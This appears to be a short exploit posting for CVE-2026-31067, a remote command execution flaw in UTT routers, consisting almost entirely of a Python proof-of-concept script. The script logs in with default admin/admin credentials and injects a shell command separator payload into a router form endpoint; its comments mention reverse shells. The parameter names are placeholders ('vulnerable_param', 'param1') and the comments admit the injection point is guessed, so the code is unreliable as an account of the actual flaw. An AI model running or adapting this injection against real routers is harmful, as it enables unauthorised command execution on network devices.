CVE-2026-31067 UTT路由器远程命令执行漏洞

import requests # Target configuration target_ip = "192.168.1.1" target_url = f"http://{target_ip}/goform/formReleaseConnect" username = "admin" password = "admin" # High privileges required # Payload to execute a command (e.g., creating a test file or reversing shell) # Note: The specific parameter name depends on the firmware analysis. # Assuming the vulnerable parameter is 'wan' or similar based on context. malicious_payload = "; touch /tmp/poc_success; #" data = { "param1": "value1", "vulnerable_param": malicious_payload # Injecting payload } try: # Establish session and authenticate session = requests.Session() login_url = f"http://{target_ip}/login" session.post(login_url, data={"username": username, "password": password}) # Send exploit request response = session.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the command was executed on the target device.") else: print("[-] Failed to send payload.") except Exception as e: print(f"[!] Error: {e}")